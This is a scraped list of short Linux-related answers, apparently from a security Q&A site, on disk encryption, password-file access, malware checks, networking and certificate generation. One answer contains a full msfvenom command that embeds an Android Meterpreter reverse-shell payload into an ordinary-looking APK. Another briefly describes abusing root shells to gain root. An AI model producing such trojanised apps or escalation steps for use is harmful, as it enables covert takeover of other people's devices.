New answers tagged linux
0
"should I bother with TPM?"
Yes. Could help you against low-level adversaries and maybe even against the NSA in case it is not backdoored.
"And how safe is dm-crypt/LUKS?"
Safer than no dm-crypt/LUKS.
"and I’m wondering how vulnerable it is to attackers with physical
access to my laptop."
Very. Depending on your setup and ...
1
why can't we program the computer so that it hides the password file from all users?
The system is also a "user", most of the time.
That is, most systems maintain a distinction between "kernel" space (the core of the operating system), and "user land" where most programs run. Design reasons encourage the kernel to be as small ...
1
There is no reason why you can't design an OS this way.
The reason why it is not done is, that it requires a new system approach. For example: if you use a Linux or Linux derivate, there is always the powerful root user that can read any file. So, you probably do not want a Unix/Linux derivate. Windows has a different approach; you can limit the ...
4
Preventing root from accessing the password file isn't really practical. By definition, the root user has access to and can modify everything on the system. Trying to limit this access just won't work.
As others have already said, there are several circumstances when the root user would need to access the password file for legitimate reasons. For example ...
3
I'm stealing from @MechMK1 but: what if you want to backup the file? What if you want to remove a password from the file? What if you want to add a password to the file? What if your service uses a number of servers and they all need the data?
If the data is needed by your service then the data must be accessible. It's as simple as that. You certainly can ...
1
Try it with sudo like:
sudo msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk
1
You can redirect the root shell to a program in your home. Such program is run as root, and in such program you can get you privileges (e.g. by setting setuid), or just do what do you want. Considering that various process will run root shells, you get quickly root.
1
Getting a feel for "is it malware" depends a bit on how deep you want to go. Here are a few things you can try:
1. What do you know about the website itself?
(EASY) Is it a personal site (e.g. TimeCube), or a trusted mainstream site (e.g. Google)? You might be able to ask the
owner/admin of a smaller site, and unless a mainstream site has been
...
1
Indicators of compromise may be in the memory, files, network traffic.
Try looking for the logs, maybe you can activate some of them (secure, auth). Try monitoring the traffic using a sniffer in the same machine or in the network gateway, looking for differences before/after reaching for this site.
-1
the loopback interface is supposed to be reserved by the IP protocol, as well as the 127.0.0.1 IP address, if you change the system's loopback address, this may break something else, now or in the future. those are reserved for a reason.
I don't think it is a good idea to change such basic config to solve a common problem, it may be healthier for the system ...
0
While I can't think of a reason to use such a configuration, I also can't think of any security issues with it. As long as you intend to make the services available to all attached networks and publicly as you mentioned, there shouldn't be an issue.
Regardless of the configuration, you may benefit from a host-based firewall to ensure only the intended ...
2
Is there a simple C library or function to programmatically generate a self-signed Certificate in C on Ubuntu?
One that isn't OpenSSL on a base Ubuntu system? No.
I am looking for a native small stand-alone library just for this purpose with possibly added functionality but not with the full-weight of TLS implementations such as openssl, boringssl, mbedTls,...
0
Most of the standard security in Linux distributions prevent the worse incidents. I assume your mother does not browse as root. And if your distro has the latest patches applied, most of the time, you'r OK.
There are some integrity checks, like chkrootkit; you must stay of course up-to-date and it will not detect everything.
Further, more extreme measures ...
0
Seems that in my case it was sufficient to use AES-256 ECB for ESSIV iv generation. I probably deceived myself by misinterpreting sentence:
Note that while the cipher algorithm is always as the same as the
algorithm used for data encryption..
Although it makes sense, since IV usage in generation of primary IV is unnecesary in this case.
0
You don't need hping3 to fill your gigabit pipe: the standard ping utility in my Debian creates about 1.3GiB/s when using the flood and data size options. CPU seems to be spent on creating the packets and so at 100% CPU, the only thing you can do is create larger packets rather than more packets.
hping3 with the exact same arguments (flood and largest ...
3
Use containers, or virtual machines. Docker and KVM aren't that difficult to learn (but are not trivial either), takes time to properly manage, but will be way easier than the nightmare you are entering head-first into.
Developers usually don't have administration backend, or mindset. Making a mess of libraries and config files are easy to do, reverting the ...
2
I believe I found the vulnerability. On my linux box's Desktop Sharing app I had enabled "Automatically configure UPnP router to open and forward ports" a long time ago without realizing it. My old router did not support UPnP so it hadn't been an issue. Not only does my new router support it, but it apparently is enabled by default (WTF TPLink thanks for ...
Top 50 recent answers are included
